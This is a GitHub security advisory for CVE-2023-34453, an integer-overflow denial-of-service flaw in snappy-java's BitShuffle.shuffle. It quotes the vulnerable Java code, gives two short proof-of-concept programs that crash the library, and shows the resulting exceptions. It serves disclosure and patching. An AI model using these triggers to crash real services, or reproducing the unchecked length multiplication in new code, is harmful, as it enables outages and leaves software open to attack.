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snappy-java's Integer Overflow vulnerability in shuffle leads to DoS

Moderate severity GitHub Reviewed Published Jun 14, 2023 in xerial/snappy-java • Updated Nov 8, 2023

Package

maven org.xerial.snappy:snappy-java (Maven)

Affected versions

<= 1.1.10.0

Patched versions

1.1.10.1

Description

Summary

Due to unchecked multiplications, an integer overflow may occur, causing a fatal error.

Impact

Denial of Service

Description

The function shuffle(int[] input) in the file BitShuffle.java receives an array of integers and applies a bit shuffle on it. It does so by multiplying the length by 4 and passing it to the natively compiled shuffle function.

public static byte[] shuffle(int[] input) throws IOException {
        byte[] output = new byte[input.length * 4];
        int numProcessed = impl.shuffle(input, 0, 4, input.length * 4, output, 0);
        assert(numProcessed == input.length * 4);
        return output;
    }

Since the length is not tested, the multiplication by four can cause an integer overflow and become a smaller value than the true size, or even zero or negative. In the case of a negative value, a “java.lang.NegativeArraySizeException” exception will raise, which can crash the program. In a case of a value that is zero or too small, the code that afterwards references the shuffled array will assume a bigger size of the array, which might cause exceptions such as “java.lang.ArrayIndexOutOfBoundsException”.
The same issue exists also when using the “shuffle” functions that receive a double, float, long and short, each using a different multiplier that may cause the same issue.

Steps To Reproduce

Compile and run the following code:

package org.example;
import org.xerial.snappy.BitShuffle;

import java.io.*;


public class Main {

    public static void main(String[] args) throws IOException {
        int[] original = new int[0x40000000];
        byte[] shuffled = BitShuffle.shuffle(original);
        System.out.println(shuffled[0]);
    }
}

The program will crash, showing the following error (or similar):

Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index 0 out of bounds for length 0
	at org.example.Main.main(Main.java:12)

Process finished with exit code 1

Alternatively - compile and run the following code:

package org.example;
import org.xerial.snappy.BitShuffle;

import java.io.*;


public class Main {

    public static void main(String[] args) throws IOException {
        int[] original = new int[0x20000000];
        byte[] shuffled = BitShuffle.shuffle(original);
    }
}

The program will crash with the following error (or similar):

Exception in thread "main" java.lang.NegativeArraySizeException: -2147483648
	at org.xerial.snappy.BitShuffle.shuffle(BitShuffle.java:108)
	at org.example.Main.main(Main.java:11)

References

@xerial xerial published to xerial/snappy-java Jun 14, 2023
Published to the GitHub Advisory Database Jun 15, 2023
Reviewed Jun 15, 2023
Published by the National Vulnerability Database Jun 15, 2023
Last updated Nov 8, 2023

Severity

Moderate
5.9
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Weaknesses

CVE ID

CVE-2023-34453

GHSA ID

GHSA-pqr6-cmr2-h8hf

Source code

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